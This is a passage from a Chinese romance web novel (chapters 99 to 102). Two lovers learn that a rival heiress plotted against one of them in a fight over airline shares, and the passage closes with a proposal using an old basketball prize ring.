还有，如果这两人连这么久远小众的事情都能查到，那他们难道不知道隋英先和贺兰琛公布婚讯，再与蒋弋领证，中间穿插顾柔嘉这个豪门千金，多角关系纠葛豪门艳史更抓眼球吗？。
“当时是鲁骏处理的，后来他们公司和秦鸽的经纪公司达成和解。”
秦鸽的工作性质离不开媒体，不可能因为跟踪抓拍，发生口角就和媒体撕破脸，鲁骏也就放了一马。
当时隋英只是被连累，也没有真的受伤，看在秦鸽面上，蒋弋也没再追究。
“那他们针对我，是因为和秦鸽又闹翻了？”
隋英随意发挥想象。。
蒋弋眸色深沉，手掌托着她的脸，指腹摩挲着头发，欲言又止。
“不是秦鸽，是有人针对我？”
隋英不是笨人，“是谁？”
“顾柔嘉。”
……
又是她。隋英内心叹气，她和顾柔嘉的恩怨…隋英觉得自己无辜，顾柔嘉又何尝不觉得委屈。
可是没想到她会用这种手段。
蒋弋盯着女孩，心里在想，究竟是和盘托出，还是……罢了，还是选择性说一部分吧。
“南航公司股东架构重组，顾柔嘉正在吸纳小股东，同时要得到几位原始股东的支持……”
最大的原始股东李言卿是蒋君沅母亲，蒋弋外婆。
她的股份由蒋君沅继承，蒋君沅给了蒋弋一部分股份。
之后公司经历过几次股份稀释，贺明霁吸纳了一部分，也成为股东之一，他又将股份给了贺兰琛一部分。
顾家也吸纳了一部分股份，蒋君沅也给了顾柔嘉一点股份。
现在的局面是几位原始股东基本不出山，蒋君沅和贺明霁也不露脸。
剩下的几位股东，蒋弋占比最大，但顾柔嘉和贺兰琛不知道什么时候达成合作，还有传言说这两人即将订婚？
那天隋英就想说这个，不过蒋弋当时的反应似乎早就知道，所以她没再说。
冯总退休，顾柔嘉和贺兰琛想要争夺公司，就必须得到原始股东首肯，但这几位一直支持蒋弋。
再加上隋英救了CA-8，新书在圈内引起轰动。
冯总之后，蒋弋接手基本板上钉钉。
但是如果这个时候隋英或者蒋弋曝出丑闻，那结果改变也未可知。
其实蒋弋的效果更好，但他们害怕蒋君沅和贺明霁的手段，更有贺家人和蒋家元老会，是以，只能将注意打到隋英身上。
也是难为这些人，将这么久远的一点小事搜罗起来，再铺天盖地花钱推广。
隋英听罢，苦笑道：“这么说，确实是我连累了凌教授。”
“是我。”蒋弋抚摸着她的头发，是他顾念顾柔嘉照顾外婆的恩情，多次纵容。
“你亏欠了她，蒋董喜欢她，你们又有婚约，事情没有得到妥善解决，她心里有气，想报复，也是应该的。”
蒋弋捏着她脸蛋，“你倒是大度。”
“我说真的，”隋英别过脸，“可是这不该连累凌教授，她有什么事可以冲我来。”
“谁说我亏欠她？”
蒋弋冷哼，这些年蒋家对顾家多方照顾，他也数次替顾家收拾生意上的烂摊子。
顾家这些年打着蒋家的旗号，生意越做越大，手也伸的越来越长。
没有蒋弋同意，蒋君沅也不会给顾柔嘉南航股份，没有蒋君沅和贺明霁默许，顾家能吸纳股份？
顾家真的是越来越贪得无厌。
“她照顾我外婆的情，我妈和我给她的，只多不少。”
“那你们还有婚约，你和我结婚，她肯定伤心，你欠她……”隋英觑着蒋弋脸色，声音越来越小，最后说不下去。
蒋弋轻蔑一笑，不甚在意道，“她伤不伤心关我什么事。”
“……”
“还有，”蒋弋语气很冷，“我不欠她任何东西，我没有答应过她任何事。”
隋英睫羽轻晃，“那婚约？”
“外婆临终时人都糊涂了，我
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不想她难过，就答应了，”蒋弋挑眉，“我答应的是外婆。”
他要这样强词夺理，那自然无话可说。
蒋弋将隋英的手放在他胸口，“我只答应过你。”
“答应我什么？”隋英垂眸。
“很多很多，我们一样一样实现。”
蒋弋直勾勾盯着她，忽地笑起来。只要他愿意，笑起来时，一双桃花眼弯成狐狸眼，勾人。
隋英每次都沦陷，笑着凑上去，亲亲他唇角若隐若现的梨涡，“我信你，以后我都信你。”
“老婆，我外婆知道你。”
“什么？”
蒋弋拉着她起身，不知何时，卧室玻璃柜上多了一个盒子，他打开，隋英看到几个大小不一的木质盒子，古香古色，看上去很有年头。
他顺手拿起一个，“打开。”
隋英摸着木盒上的浮雕纹路，依言打开，是只白玉蝉，“好漂亮。”
“外婆留给你的。”
隋英嗔了他一眼，“乱讲。”笑嘻嘻看着白玉蝉。
蒋弋示意她再看盒子里的东西，隋英顺着视线看过去，除了几个木质盒子之外，还有一本比较旧的相册。
她拿起，看了眼蒋弋，然后打开。
一位穿着铜绿色旗袍的古典美人映入眼帘，无需细看，只一眼，她就看出她与蒋君沅很像。
“这是你外婆？”
蒋弋点头，“外婆说你有她年轻时漂亮。”
“哈哈，”隋英戳着他，“这话太假了，韫韫说，男人的嘴，骗人的鬼。”
“苏韫真是把你教坏了，以后别听她的。”
隋英抿唇笑着，再翻，有蒋君沅的成长过程，有蒋弋的成长过程，还有蒋怀礼、贺明霁，翻到后面，是蒋弋高中时的照片。
“这？”
是高三校庆，每个班都要出节目，七班表演了一出《海王》，隋英演小鱼精，在脸上贴了亮片片，穿着精灵服。
演出结束，蒋弋披散着头发，拉着她跑到操场。那时所有人都聚集在演出礼堂，操场上没多少人，他们跑到路灯下，围着银杏树嘻嘻哈哈追逐。
忽然听到有人叫了他俩的名字，两人同时偏头去看，只听见“咔嚓”一声，陈灿阳拿着随身照照了一张他俩的照片。
照片只照了头像，蒋弋脸上还画着舞台妆，隋英脸上贴着亮片片，两人脸上的笑容还未收起，
就被定格。
隋英第一次见这张照片。
当时陈灿阳照了就跑，后来蒋弋说照片被陈灿阳弄丢了，她也就没当回事。
照片画面四周漆黑，更加映衬着两张青春热烈的笑脸，如此明媚。
原来照片没丢，而是被蒋弋外婆如此珍重地收藏。
隋英似有泪意，吸了下鼻子，“你什么时候拿给你外婆看的？”
“高考前，有段时间她病情加重，我就回了苏黎世，后来我妈限制我离开，是外婆给了我游戏机，她其实知道我会通过游戏账号联系鲁骏灿阳他们。”
“而且，”蒋弋黑眸轻挑，“不是我拿给外婆看的，我以为我弄丢了，后来整理外婆遗物的时候发现的。”
100. Chap.100
顾柔嘉和贺兰琛宣布订婚。
隋英没看出蒋弋有什么变化，她忙的时候他就打游戏，偶尔接打电话，依稀听出还是收购公司，查什么人。
不过贺明霁脸色就不太好。
隋英和蒋弋住到贺家庄园后，很少见贺明霁，贺家二爷也只是来确认蒋弋的伤不要紧后，就没再露面，就钱叔三两天见一回。
订婚消息公开后，贺明霁亲自找了一回蒋弋。
两人说了什么，隋英不知道，贺明霁离开时，隋英刚好回来。
“贺先生。”
贺明霁欲言又止，轻叹了下，“隋英，让你受委屈了。”
隋英看着贺明霁驱车离开，不明所以。
仅仅隔了一天，蒋君沅来找蒋弋，一见面母子俩就吵了起来，隋英坐在一楼茶室，都能听见他们争吵的声音。
大意是蒋君沅怪蒋弋辜负顾柔嘉，才逼的顾柔嘉犯下大错，现在蒋弋还要对顾柔嘉赶尽杀绝。
蒋弋更是恼火，直言绝不会放过顾家任何一个人，也不会放过贺兰琛。
蒋君沅更生气，指责蒋弋不早点对付贺兰琛，等着他做大到这般田地才动手，晚了。
蒋弋冷笑，语气很不屑，不管贺兰琛是想借助顾家，还是顾家利用贺兰琛，都没什么用。
……
隋英初听云山雾罩，很认真梳理了一番，勉强才想明白一点——
顾柔嘉因为蒋弋的拒婚，选了蒋弋同父异母的哥哥，并与其联手抢夺南航股份，对付蒋弋。
蒋弋当然是反击，甚至是不留情面。
以往，不管顾柔嘉做什么，蒋弋都是容忍她。
蒋君沅很看重顾柔嘉，自是两头为难，尤其是顾柔嘉选择贺兰琛，难堪的不是蒋弋，而是蒋君沅。
贺兰琛的存在，代表贺明霁的欺骗、愚弄，是蒋君沅母子的耻辱，而她看重的儿媳妇却选择了这份耻辱。
偏偏她没有立场指责顾柔嘉。
那么也就很好理解贺明霁来找蒋弋也是为了此事。
只怕贺明霁更为难。两个都是他的儿子，都有亏欠，因为利益针锋相对，作为父亲，帮谁都是错，不帮也是错。
只是贺明霁为什么说她受委屈了？
哦对，顾柔嘉诬陷她和凌教授。
隋英怅然，干脆泡茶转移注意力，脑子依旧很乱，身后忽然传来一道声音，“你是在洗茶吗？”
她回头，手里捏着茶夹，颔首道：“蒋董。”
“再洗茶就没味了。”蒋君沅径自走来，放下手下包，从她手里接过茶夹，重新泡茶。
蒋君沅是真正世家大族培养出来的千金大小姐。她泡茶的顺序和隋英一样，可就这么简单的几个动作，她淡定从容，既赏心悦目，又有上位者的从容优雅。
最后在隋英面前倒了杯茶，示意她品尝。
隋英端起茶杯，抿了一口，“很好喝。”
“茶需要静心才能品出味道。”
隋英心不静。
蒋君沅凝了她一眼，“蒋弋很看重你，你多劝劝他。”
她不知如何接话。
南航公司股东争斗，难道不应该是你们这些元老劝阻吗，隋英劝蒋弋收手，那顾柔嘉和贺兰琛会收手吗？
“蒋董，能问您一个问题吗？”
蒋君沅放下茶杯，看着她。
隋英也放下茶杯，“您会帮顾理事吗？”
“不会。”顿了下，她放缓口气，“柔嘉本性不坏，这里面我责任很重。”
隋英心道：抢夺股份上升不到本性坏不坏的问题上吧。如果她的家人给她留了股份，她也会去竞争那个位置，也会拓展业务，更会吸纳股份壮大自己。
“我是说到最后，万一……”隋英垂眸，没有继续说完。
万一不可收拾，万一两败俱伤，万一其中一个将另一个踩死。
蒋君沅默然许久，才道：“蒋弋对生意不感兴趣，连我都判断失误。”
蒋怀礼和李言卿亲自带大的外孙，耳濡目染，没兴趣不代表没能力。
因而，蒋君沅明知道顾柔嘉会输，也不会出手相帮。
隋英将蒋君沅送到门口，她忽然回头，“隋英，你的新书我看了，你很优秀。”
“谢谢。”目送她远去。
她转身，蒋弋在身后。
“你怎么下楼了？”
蒋弋拥着她，“不管别人说什么，你都不要信。”
隋英拍着他，“我只信你，我答应过你的。”
她搀扶着蒋弋上楼，电脑桌上的笔记本打开着，隋英一眼就看是一份“收购协议”，她眼尖，看到“顾氏”字样。
他要收购的是顾家的公司，而非顾柔嘉在南航所占的股份？
蒋弋拥着她，“公司要将工程院搬迁南渝。”
“这事我怎么不知道？”她立刻收回思绪。
“刚刚通过股东会，很快就会通知，”蒋弋垂睫，勾起她的下巴，“工程院早就选址，现在只差一纸文件，搬迁最多一个月就完成。”
“你想我去？”
蒋弋亲亲她，“你的职位已经调过去了。”
“你怎么知道我想去？”隋英躲了下，下巴被捏住，只好配合。
她在公司应付各类人际关系，确实吃力。隋英的性格更适合科研工作，南航有独立的飞行器工程院，有飞机制造工厂，这两个地方都比多方势力交织的公司更适合她。
“我了解你。”
隋英忽然明白蒋弋的意思，他想让她避开这场争斗。
蓦然，她想到贺明霁和蒋君沅说的话，犹豫再三，她想开口问问蒋弋，他的手机却响起。
蒋弋看了眼隋英，她了然，径直去了书房。
“…所有参与此事的人都要查清楚，顾家既然敢做这样事，就该承担后果。…不可能。……随便他们折腾，我不在乎，什么样的代价我都不在乎。”
隋英听的心惊肉跳。
能让贺明霁和蒋君沅这样的人一前一后来见蒋弋，可见事情确实不小。
隋英一时间不知从和问起，更不知道该不该劝。生意场上的事她完全不懂，他们之间的恩怨要追溯到上一代，她实在无能为力。
南渝盛夏，难得有丛丛云层遮挡烈日暑气的天气，隋英将车开到咖啡馆。
一下车，潮热暑气扑面而来。
隋英边走边挽起头发，她已经看到纪羡。
这个不太熟的学长约她见面，隋英知道原因，如果不是苏韫打电话告诉她，纪羡以此为借口找她，隋英大概不会去见他。
“学长。”隋英淡淡打招呼。
纪羡起身，“我帮你点了黑咖，我觉得你比较适合，可以吗？”
苏韫爱喝咖啡，
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她说喜欢喝黑咖的女人大多比较冷艳，难道在纪羡眼里，隋英属于冷艳形的？
一想到这个，隋英哑然失笑，又忙控制好表情，“挺好。”
她压根就不爱喝咖啡，贺明霁懂咖啡，替隋英点过一次，味道尚可，后来他送隋英的咖啡豆也被她送人了。
蒋弋似乎对咖啡不怎么钟情。
他至今保持着喝中草药的习惯。
纪羡寒暄几句，见隋英兴致不高，他很懂察言观色，立刻将话题转到正题上。
“我是受人之托，想请你拜托蒋弋，放顾家一马。”
隋英低眉浅笑，“学长和蒋弋认识那么多年，干嘛不自己跟他说。”
“现在只有你能拦住蒋弋。”
隋英不为所动，“生意相争，我为什么要拦？”
忒！这就是问题所在。纪羡失笑，“韫韫猜的真准。”
隋英沉下脸，这就是她最不喜欢纪羡的一点。
顾家既然求他这儿，那自然是看重他和蒋弋的交情。
他自己没把握说服蒋弋，知道隋英很在意苏韫，如果苏韫帮他们说话，隋英一定会为苏韫去找蒋弋。
苏韫拒绝帮他，并将消息透露给隋英，因此隋英知道纪羡此行的目的，自然做了准备。
没想到他还要绕上苏韫。
“你觉得我是为了顾柔嘉？”
隋英不置可否，顾柔嘉都能给你前未婚妻当伴娘，可见两家交情匪浅，他为顾家奔走，为顾柔嘉求情，无可厚非。
“我是为了弥补韫韫爸妈。”
隋英一愣，紧盯着他。
纪羡告诉她，苏韫父母很早就看中海外一块矿山，后来发生了海外生意全面败北事件，资金全断，不得不放弃。
现在，苏韫父母资金回转，想重新拿回那块矿山，但开发权在顾家手里。
只要蒋弋放顾家一条生路，顾家愿意无偿交出开发权。
隋英不得不说承认，纪羡很懂谈判技巧，他也不跟隋英提什么同学交情，得饶人处且饶人的废话，更不跟她掰扯生意竞争很有可能两败俱伤云云。
而是直击要害。
最后，纪羡说道：“韫韫就是因为这个原因才不愿跟你开口，可我想你是愿意帮她的对吗？”
“不是。”
纪羡一愣，显然没想到隋英会无情拒绝。
“如果是正常生意，等价交换，只是从我这里折中，韫韫根本不会藏着掖着，她一定会开口。”
隋英眼里带着讥讽，“你太不了解我和韫韫的感情，她拒绝帮你，是因为这件事会伤害到我。”
这些天，她隐约察觉蒋弋如此反击，不像是只为了南航股份，更像是报复。
“这只是正常的生意，”
“好。”
隋英打断纪羡的解释，“如果生意没问题，开发权没问题，我同意你的提议。韫韫因为她爸妈生意遭人坑害的事一直很自责，如果可以帮韫韫，我愿意尽力一试。”
纪羡面色灰败。
隋英有意刺他，
苏韫父母的生意正是他父母和前岳父家的手笔，且至今还没有收手。
纪羡无言反驳。
“我现在不奢求韫韫能够原谅我，只想弥补当初犯的错。”
隋英不置可否，起身，“我会尽快查清楚你说的事，到时候给你答复。”
101. Chap.101
“纪羡找过你？”
蒋弋眼神透着森冷的寒意，好看的桃花眼敛着，狭长幽深，难以靠近。
两秒后，男人略微粗粝的掌心包裹着她的手，“这段时间，有人找你的话，不要去见。”
隋英没有答应。
沉默一瞬，她将与纪羡见面说的事和盘托出。她原本就是要和蒋弋商量的，只是没想到刚一开口，他情绪就不对。
末了，她问：“你能帮我查查吗？”
“不用查。”
“你知道这件事？”
蒋弋摇头，眼底压下一抹嘲讽，“顾家没多少筹码了，现在拿出来的，必定是真的。呵，也难为他们能想到如此绝佳的交换条件。”
“那，”隋英抬眸，“接受他们的条件，你损失很大吗？”
“我不受威胁。”
蒋弋冷冷说道。
隋英眼神暗淡，自嘲一笑，觉得纪羡还是高估她在蒋弋心中的位置，别说收手，就是交易都不行。
“我知道了。”
话音未落，蒋弋就将她带入怀中，轻点着她鼻尖，“开发权我会帮你拿回来。”
“怎么拿？”
-
月底，隋英交接工作，下月就要去工程院上班。
见到久违的贺兰琛，他没了往日的意气风发，身上多了阴鸷的戾气，接过隋英交接的重要电子锁，很不在意地丢在一边。
“只有咖啡了。”
说着，他接了杯温水给隋英。
贺兰琛记得，隋英失眠严重，从不喝咖啡。
“你避开也好，”贺兰琛自己喝着咖啡，“你确实更适合工程院的工作。”
他主动提及，隋英也不好避而不谈，毕竟她对贺兰琛始终心存感激。
他也曾为她的病奔波过，陪着她漂洋过海，悉心照料，愿意牺牲婚姻，隋英不诛心，贺兰琛做了这些事，她就是亏欠了他。
“贺董，你和顾理事，呃…你，股份，”她实在无从说起。
生意场的手段，有些就是上不得台面，要她劝贺兰琛放弃吗？人家凭什么。
贺兰琛深深盯了她一眼，“原来你还不知道，看来蒋弋将你保护的很好。”
隋英睫羽轻颤，她知道蒋弋有事瞒着她，就连苏韫也有事瞒着她。纪羡也知道，但他为了避免节外生枝，见隋英不知道，干脆不提。
“我……”隋英抿了下唇，“如果是为了我，我请你罢手，我也一定会拦住蒋弋，让他停手。”
“你知道冯总为什么提前退休吗？”贺兰琛忽然问道。
隋英摇头。
她怀疑过冯总，甚至连CA-8出事一事都怀疑过他，因为事发前，CA-8大检修是冯总亲自主导的。
而且冯世杰说过，是顾柔嘉临时调他和孙机登机，而非他们一开始认为的冯总给他走后门。
可CA-8是隋英亲手维修，她确定，飞机着火，只是意外，绝无人为因素。
在专业领域，她有绝对自信。
贺兰琛开口，“因为冯世杰被扣留。”
隋英瞳孔瑟缩，贺兰琛一句话，她已经明白他在指什么。最后一批撤侨转机，单单只落下了冯世杰，且在冯总退休之前，他一直无法回国。
蒋弋用冯世杰逼冯总退休？
“不相信？”
贺兰琛嗤笑，“蒋弋刚入职，第一次飞，是冯总带的他。冯总审时度势，向蒋弋坦白了一切，回国后自己提出退休，蒋弋才放他一马。”
隋英蹙眉，“你到底想说什么？”这会她又听不懂了。
冯总做了什么？只是同意她去班吉，蒋弋就要对付他？不可能。
贺兰琛死死盯着隋英，握着咖啡杯的手青筋凸起，指腹压着杯壁，指甲泛白，仿佛要将咖啡杯捏碎。
半晌，才道：“你班吉，险些染上虫血病。”
空气静了几秒，炸开。
所有疑云迷雾突然曝露在阳光下，一切解释不通的事情瞬间有了答案。
隋英遍体生寒，无法相信。
在班吉，她百思不得其解，司机为什么要将她丢到疫区，让她出不来。
到底有多恨，才会使他们想致她与死地。
贺兰琛给她接了杯热水，塞到她冰冷的手里，“对不起。”
隋英什么也听不进去，许久才找回自己的声音，“那个司机？”
“一早被顾家人买通，”贺兰琛半垂着眼眸，像是在讲述别人的事，“没想到飞机会出事，更没想到你们会降落在莉萨拉，以至于他一直没有机会动手。如果你一直等在莉萨拉等待救援，他未必有机会。”
“所以我去班吉，其实是你们谋划好的？”
贺兰琛微不可查地摇头，“更早。”
隋英一愣，电光火石间想到蒋弋，“你们把蒋弋调走，就是为了对付我？”
“我是为了吸纳小股民的股份时没有掣肘。”贺兰琛不甚在意地说道。他当时就感觉到蒋弋知道他的目的，依旧隐忍不发。
顾柔嘉才是为了对付隋英。
“所以冯总也知道？”
贺兰琛点头。冯总与他，还有顾柔嘉三人合议，只调蒋弋运送救援物资，根据公司规定，最长一周，时间根本不够。
而能困住蒋弋的人只有隋英。
恰在此时，班吉分公司的数架飞机几乎同时因各种问题停飞，亟需工程师。
顾柔嘉提议，由隋英带队维修。班吉动乱，蒋弋绝不放心隋英，一定会去陪她，这样至少能争取半月时间，足够他们控制公司。
冯总立刻拍手称好。
贺兰琛却出言讥讽，“你既然知道蒋弋这么在乎隋英，为什么还不肯放手。”
原本以为顾柔嘉会发脾气，谁知道她却只是冷笑，反而让贺兰琛察觉出顾柔嘉的计划绝不止如此。
可他没有阻拦，而是按计划行事。
直到那天半夜，冰冷的机器传来CA-8求救信号，贺兰琛大为吃惊，第一个怀疑顾柔嘉，当然，冯总更愤怒，质问顾柔嘉为什么要换成他的人。
原来冯总也不知道顾柔嘉临时换了机长，并提拔冯世杰为副驾。
贺兰琛反而觉得飞机出事，并非顾柔嘉安排，否则冯世杰跟着出事，冯总不会善罢甘休，他们之间的联盟立刻土崩瓦解。
因而，他判断顾柔嘉原本的打算是想用冯世杰拿捏冯总。
至于孙机，突发心脏病谁也没想到，是以，他为什么被换上，他不说
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，顾柔嘉不说，那便再也没有人知道。
隋英双手发颤，放下水杯，“两清了。”
贺兰琛看着她挺直的脊梁，消瘦的背影，一时默然。
他能解释说他一开始不知道顾柔嘉是要害她吗？呵，他不也存了困住隋英的心思吗，亲手参与了阴谋，将她送到战火连天疾病肆虐的地带。
他没有叫屈的资格。
她说“两清了”，贺兰琛苦笑，真是个傻子。打从一开始，他就有了利用隋英挟制蒋弋的想法，只是后来自己也走神了，不忍心看她受病痛折磨。
而她，就只记得他那一点点的好，始终心存感激。
蒋弋的命为什么这么好，能拥有这样的好女孩。
隋英面色惨白，神情恍惚，甚至都忘了部门约定俗成的请客聚餐，直到开车撞向庄园一侧的锦鲤池，才骤然清醒。
花园里忙碌的佣人见她跌跌撞撞跑回去，立刻通知医生。
蒋弋一直坐在窗前，听到动静，立刻下楼，刚好与隋英撞了个满怀。
见到蒋弋，隋英再也绷不住，忽然泪如雨下，哽咽到一句话也说不出，身体颤栗发抖，不知道是害怕还是跑的太急。
蒋弋确认她没有受伤，不再追问，只轻抚着她的背。
良久，楼下传来脚步声，接着是张妈的声音，隋英才从蒋弋怀里抬起头，脸哭成大花猫，听到动静有些不好意思。
“张妈，没事了。”蒋弋说道。
隋英一直背着声，听到楼下脚步声远去，蒋弋一个趔趄，抓着扶杆才站稳，她才想起他的伤还没好。
忙扶着他回卧室。
“你去见了贺兰琛？”
隋英垂眸，“明天要去工程院，我去交接工作。”
“他都告诉你了？”
隋英点头。
她终于明白他这些天究竟在做什么，根本不是所谓的争夺南航股份，蒋弋从来没有将这些放在眼里。
他们对隋英下手，已经触及到蒋弋的逆鳞。
也许到此时，顾家无法承受蒋弋的怒火，才真的害怕，可他们针对隋英的手段比贺兰琛知道的还要卑劣。
蒋弋查到，顾家通过向恒司机和当地一伙暴徒有笔交易，时间刚好是CA-8降落班吉那日，只是后来飞机降落在莉萨拉，交易取消。
不敢想，飞机那日如果顺利降落在班吉，隋英被带走会发生什么，他又去哪里找人。
隋英没有染上虫血病，没有死在疫区是运气好，而不是他们手软。
这会又凭什么认为他会手软。
他的副队追到边境线，发现另一伙人在追杀司机，双方一见面就交上火，副队也救不下司机，那些人杀了司机后立即撤退。
行动明确，干净利落。
听到这些，他无法将布置这些行动的人与认识多年的顾柔嘉联系在一起。
可终究这些事是她做的，他没心思探究顾柔嘉的内心，只会用最冷酷的方式对付整个顾家。
蒋弋手掌捧着她瓷白的小脸，手指摩挲着头发，额头贴着她的额头，“别怕，所有的事情都交给我。”
“你不会……”
蒋弋轻轻摇头，“我不会做让你担心的事，我会拿回开发权。”
102. Chap.102
苏韫援非工作结束，给隋英发来视频。
“我导师推荐我到卡罗林斯医学院进修一年，”苏韫扬眉，“我们整个医院，就我一个名额，哈哈……”
隋英由衷为她高兴，“那丁总呢？陪你进修。”
“管他干嘛，”苏韫似乎又恢复了往昔大大咧咧的性格，“那个人每天比我还忙。哦对了，他还跟人竞标一块矿山的开发权，结果输了。”
“你说丁总去竞标叔叔阿姨在南非看重的那块矿山的开发权？”
苏韫耸肩，“我爸妈早就放弃了，……你怎么知道我爸妈看重南非的矿山？”
隋英咬着舌尖，苏韫跟她说过矿山的事，但没提是南非。不得已，她只好交代了纪羡替人求情，蒋弋答应帮忙的事。
“难怪！”
一块普通的矿山开发权，竟然引得蒋弋、丁文泽、纪羡和一个神秘大佬同时出手。
苏父苏母见此情形，只得放弃竞标。
苏韫干脆坦白，“那块矿山的开发权在顾氏企业手里，一开始我爸妈想购买开发权，他们一口拒绝，我爸妈想了很多办法都不行。”
末了又道：“我不知道他们会拿这个做交易，幸好蒋弋不受威胁，要真的同意交换，就是拿到了我也不要，所有害你的人都应该付出代价。”
隋英敛眸，“你都知道了？”
“不多，”苏韫直接承认，“我听到丁文泽和顾柔嘉通话，牵扯到你，我逼问他，丁文泽向我坦白，害你的那个司机被顾家收买。”
隋英听罢，将自己知道的都告诉了苏韫。
苏韫目瞪口呆，不过她也不再如从前，遇到事情只会咋呼骂人，撇嘴说了句，“早就提醒过你，小心顾柔嘉。”
“我以为她在工作上给我穿小鞋，散播流言就已经是极限。”
主要隋英的思维比较直线条，她认为自己与顾柔嘉之间所谓的情感恩怨与工作无关，没想过出个差会栽这么大跟斗。
“还有凌教授，蒋弋不让我去见他，我也怕有人蹲守，再给凌教授造成困扰，等事情结束了，我再登门道歉吧。”
苏韫点头，“这段时间你还是多加小心，如今顾家东山再起，谁知道他们会不会报复你。”
顾家有意抬价，矿山开发权竞标最后被神秘大佬以高出市场数十倍的价格拿下。
原本已经被蒋弋逼到破产边缘的顾家，如今靠着这笔钱卷土重来，再加上贺兰琛，彻底与蒋弋对上。
“那矿山开发权怎么办？”隋英知道，苏父苏母在那里已经投入大量资金，如果失败，有可能面临破产。
苏韫抿唇，“大不了我养家。”
以丁文泽和蒋弋的人脉资金都没有拿到，那肯定是没希望了。
-
隋英回公司开会，见到久不露面的顾柔嘉，容光焕发，盛气凌人、目无下尘。
贺明霁不露面，蒋君沅默许。
就连隋英这个级别的中层都隐隐约约感觉到公司元老股东的天平倾向顾柔嘉和贺兰琛。
顾家果然卷土重来。
隋英有些歉疚，如果不是她想要开发权，蒋弋就不会去抢，顾家也就不会趁机抬价。
月影遍地，梧桐树影婆娑，花园碎玉点点，隋英停车，看到蒋弋坐在锦鲤池旁，她有些抱歉，“对不起，我又回来晚了。”
却见他在看房子示意图。
“水郡湾？”隋英俯身，这个别墅区就在工程院附近，是近年新开发的富人别墅区，比贺家庄园别墅区环境有过之而无不及。
“你喜欢？”蒋弋抬头，勾着她亲亲。
隋英笑嘻嘻搂着他，“院长家就住在水郡湾，听说有个壹号别墅，很神秘，……”
她看着蒋弋递到眼前的示意图，——‘壹号别墅’，还没看清楚，隋英身子一歪，脚下悬空，稳稳落在他怀里。
轮椅向后退去，眼见就要撞向锦鲤池边沿凸起的鹅卵石，然后连人带车翻进锦鲤池。
隋英长臂一伸，撑住锦鲤池边沿，另一边，蒋弋伸手撑住。
视线交汇，蒋弋挑眸，“我老婆身手敏捷，老公我自叹不如。”
隋英咯咯笑起来，“你是故意的。”
蒋弋直接抱着她站起来，快步上楼，惊的隋英紧紧勾住他脖子，“你的伤？”
“早就好了。”
“不行不行，伤筋动骨一百天，才一个月。”
蒋弋后脚关上卧室门，“一个星期的时候我们不是试过，没事的。”
“明明出事了。”隋英一沾床，一骨碌转身，作势就要跑。
“伤已经好了，不信你可以验验。”
“痒……咯咯……”隋英捂着肚子笑的打滚，走又走不掉，蒋弋突然翻身，她一下子被他钳制的动弹不得。
卧室只余几盏壁灯，清飒飒的月光扑进木质窗棂，莹莹白光微微颤动，印在玻璃上的树梢残影跟着抖动，室内玻璃雾气氤氲，清晰的残影渐渐模糊，只留粗粗浅浅的喘息声。
-
隋英迷迷糊糊，身体有些黏腻，不想动弹，鼻尖蹭了蹭，始终记得一个问题，“伤口还痛吗？”
轻快的笑声漫开，指尖捏着她白皙的香肩，声音低沉暗哑，带着蛊惑，“你自己检查。”
眼睛困的睁不开，大脑这会却清醒了，她怕蒋弋将她带沟里去，蓦然，她主动拥上去，趁机挣脱手腕。
“没裂开就好。”
隋英咕哝一句，鼻尖继续蹭蹭，接着睡去。
蒋弋神清气爽，揽着怀里的人，见她一会动下胳膊，一会蹭蹭，一会挠挠，遂轻笑着掀起被子。
花洒温水漫过皮肤，隋英在微微刺痛中睁眼，浴室里灯光柔和，氲着他好看的五官，隋英抿嘴笑了。
眼眸扫过他胸口肩背的抓伤，脸颊脖颈顿时烧起来，抬手默默将水温调低了些。
蒋弋擦着擦着，黏黏糊糊腻上来，又在浴室闹了一场，看着女孩纤细白净的脖颈齿痕吻痕层层叠叠，像是娇艳欲滴的芍药经历了暴风雨摧残，顿时有些不忍心。
清水漫过脖颈，隋英半合的眸子睁开，呓语摸着脖子“嘶……”
蒋弋凑近，“别动，破皮了。”说着又亲了上去。
隋英双手勾着他脖子，整个人软软歪在他怀里。蒋弋终究没再折腾她，清水冲过之后，拿浴巾包着，将人抱出浴室。
蒋弋拿着毛巾替她擦着头发，末了又用吹风
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机，一点一点吹着头发，仿佛回到了苏黎世医院。
那时他更多是小心翼翼，不似此刻温柔缱绻中带着侵占意味。
隋英没了睡意，抬头看着他手臂，缝合的伤口呈淡粉色，她摸着伤痕，“蒋弋，要不我跟你求婚吧。”
吹风机稍稍移位，吹起她鬓角头发，遮挡视线。
蒋弋愣了好一会，关了吹风机。他低头在她额上亲亲，直起身朝一边柜子走去，“求婚是男人的事。”
语气很霸道。
隋英正在愣神，蒋弋拿着一个纸盒，走过来将她抱起放在腿上，从后面拥着她。
“打开看看。”
就在刚刚，隋英以为他要去拿求婚戒指，她想着应该是商场LED屏幕里那种宝石蓝丝绒盒，打开，一枚硕大的钻戒。
这才比较符合蒋弋张扬又霸道的个性，嘿嘿！
没想到就是一个纸盒子，像个旧手机盒。
隋英拿起上面的盖子，里面有一枚金牌。她一眼就认出，这是蒋弋他们代表河道二中参加全国篮球比赛获得的奖牌。
拿这个求婚？
蓦然，她看到奖牌彩带下还有一枚戒指。
她拿起，银白双环戒指中间是黑红色宝石，不算很协调，像是拼接上去的，戒指做工精湛，但宝石有点……掉色？
再一看，彩带下还有一枚黑色宽边戒指，很像暴力游戏里主角戴的那种暗黑系，上面镶嵌宝石的地方已经空了。
很显然，银白双环戒指上的宝石就是从这枚戒指上拆下来的。
“这是？”隋英将两枚戒指放一起，“这好像就是那次比赛，你获得的奖品？”
那次比赛，除了奖牌外，还评选出一位篮球新星，主办方奖励了一枚戒指。不过这种比赛不会用真宝石做奖牌，就是一种荣誉。
蒋弋拥着她，“你答应过我，我得金牌，你就答应我一件事。”
隋英怔然，想起那是高三最后一学期，可能是临近毕业，可能是前途光明，面对少年的要求，她也大胆答应。
比赛结束当天，蒋弋被人接走，隋英和同学一起乘校车回学校。
再见面，他第一次提出让她跟他去留学，之后，他们冷战，争吵，考试，前后请假……
“你当年想我让答应什么事？”隋英拿着戒指，依偎在他怀里，“我都答应。”
就不信你当时就已经有这种想法了。
蒋弋手臂收紧，指腹捏着她下巴，慢慢抬头，在她红唇上亲了亲。
隋英抿着唇，依旧等着他答案。
蓦然，她像是想到什么，脸色刷的一下绯红一片，就连脖颈到锁骨都变色。
手臂捂着嘴唇，“你，你，”当年居然敢有这种想法，隋英将脸埋进他颈窝，两人笑着滚到地上又胡乱亲了一阵。
隋英戴着戒指，“好看吗？”
